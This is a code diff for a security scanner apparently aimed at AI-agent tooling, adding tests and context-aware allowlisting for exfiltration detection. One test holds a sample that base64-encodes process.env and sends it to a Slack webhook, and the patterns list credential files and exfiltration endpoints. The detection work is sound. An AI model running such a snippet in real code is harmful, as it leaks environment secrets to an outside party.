diff --git a/scanner/package.json b/scanner/package.json index a71b58fe..124e22b1 100644 --- a/scanner/package.json +++ b/scanner/package.json @@ -8,7 +8,8 @@ "build": "tsc", "start": "node dist/index.js", "dev": "tsx watch src/index.ts", - "scan": "tsx src/cli.ts" + "scan": "tsx src/cli.ts", + "test": "tsx --test src/**/*.test.ts" }, "keywords": ["isnad", "scanner", "security", "ai", "agents"], "license": "MIT", diff --git a/scanner/src/analyzer.http-clients.test.ts b/scanner/src/analyzer.http-clients.test.ts new file mode 100644 index 00000000..46d3e030 --- /dev/null +++ b/scanner/src/analyzer.http-clients.test.ts @@ -0,0 +1,59 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { analyzeContent } from './analyzer.js'; + +function patternIds(content: string): string[] { + return analyzeContent(content).findings.map(finding => finding.patternId); +} + +test('does not flag safe-domain dynamic fetch usage as exfiltration', () => { + const content = ` +const apiBase = "https://api.github.com"; +const url = \`\${apiBase}/repos/octocat/Hello-World\`; +await fetch(url, { method: "GET" }); +`; + + const ids = patternIds(content); + assert.equal(ids.includes('EXFIL_FETCH_DYNAMIC'), false); +}); + +test('does not flag standard axios and node-fetch clients as exfiltration', () => { + const content = ` +import axios from "axios"; +import fetch from "node-fetch"; + +const client = axios.create({ baseURL: "https://api.openai.com" }); +await client.get("/v1/models"); + +const healthUrl = "https://pypi.org/simple"; +await fetch(healthUrl); +`; + + const ids = patternIds(content); + assert.equal(ids.includes('EXFIL_FETCH_DYNAMIC'), false); + assert.equal(ids.includes('EXFIL_WEBHOOK'), false); +}); + +test('does not treat process.env usage as sensitive file access', () => { + const content = ` +const apiBase = process.env.API_BASE_URL; +const timeout = process.env.REQUEST_TIMEOUT ?? "5000"; +`; + + const ids = patternIds(content); + assert.equal(ids.includes('CRED_FILE_READ'), false); + assert.equal(ids.includes('CRED_ENV_ACCESS'), true); +}); + +test('still flags obfuscated credential exfiltration attempts', () => { + const content = ` +const payload = Buffer.from(JSON.stringify(process.env)).toString("base64"); +await fetch(\`https://hooks.slack.com/services/\${payload}\`); +`; + + const result = analyzeContent(content); + const ids = result.findings.map(finding => finding.patternId); + assert.equal(ids.includes('EXFIL_WEBHOOK'), true); + assert.equal(ids.includes('EXFIL_BASE64_SEND'), true); + assert.equal(result.riskLevel === 'high' || result.riskLevel === 'critical', true); +}); diff --git a/scanner/src/analyzer.ts b/scanner/src/analyzer.ts index 7ea15a93..913f59c8 100644 --- a/scanner/src/analyzer.ts +++ b/scanner/src/analyzer.ts @@ -48,6 +48,54 @@ const RISK_THRESHOLDS = { low: 10 }; +const HTTP_CLIENT_HINT = /\b(axios|node-fetch|fetch|requests\.(get|post|put|patch|delete|request)|urllib3\.)/i; +const SUSPICIOUS_HTTP_HINT = + /(process\.env|document\.cookie|localStorage|sessionStorage|webhook|hooks\.slack\.com|discord\.com\/api\/webhooks|requestbin|pipedream|ngrok\.io|btoa\s*\(|toString\s*\(\s*['"`]base64)/i; +const API_PATH_HINT = /\/(api|v\d+|health|status|repos|users|simple|graphql)\b/i; + +function inAllowlistedContext( + pattern: Pattern, + lines: string[], + lineNumber: number, + contextLine: string +): boolean { + const basicAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern => { + const flags = allowPattern.flags.replaceAll('g', ''); + return new RegExp(allowPattern.source, flags).test(contextLine); + }); + + if (basicAllowlisted) { + return true; + } + + if (pattern.id === 'EXFIL_FETCH_DYNAMIC') { + return isLikelyLegitimateHttpClientUsage(lines, lineNumber); + } + + return false; +} + +function isLikelyLegitimateHttpClientUsage(lines: string[], lineNumber: number): boolean { + const start = Math.max(0, lineNumber - 3); + const end = Math.min(lines.length, lineNumber + 2); + const contextWindow = lines.slice(start, end).join('\n'); + + if (!HTTP_CLIENT_HINT.test(contextWindow)) { + return false; + } + + if (SUSPICIOUS_HTTP_HINT.test(contextWindow)) { + return false; + } + + const hasSafeDomain = SAFE_DOMAINS.some(domain => + contextWindow.toLowerCase().includes(domain.toLowerCase()) + ); + const hasApiPathHint = API_PATH_HINT.test(contextWindow); + + return hasSafeDomain || hasApiPathHint; +} + /** * Analyze content for security issues */ @@ -72,9 +120,7 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis const contextLine = lines[lineNumber - 1] || ''; // Check if this is in an allowlisted context - const isAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern => - allowPattern.test(contextLine) - ); + const isAllowlisted = inAllowlistedContext(pattern, lines, lineNumber, contextLine); if (!isAllowlisted) { findings.push({ diff --git a/scanner/src/patterns.ts b/scanner/src/patterns.ts index f2e61e23..5504c586 100644 --- a/scanner/src/patterns.ts +++ b/scanner/src/patterns.ts @@ -86,7 +86,7 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ name: 'Sensitive File Read', description: 'Reading potentially sensitive files', severity: 'high', - pattern: /(\.env|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)/gi, + pattern: /(?:^|[\\/\s'"`])(?:\.env(?:\.[\w.-]+)?|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)(?:$|[\\/\s'"`])/gi, category: 'credential_access' }, { @@ -192,9 +192,8 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ */ export const ALLOWLIST_PATTERNS = [ // Common legitimate uses - /console\.(log|error|warn|info)/gi, - /JSON\.(parse|stringify)/gi, - /Math\.(random|floor|ceil)/gi, + /console\.(log|error|warn|info)/i, + /Math\.(random|floor|ceil)/i, ]; /**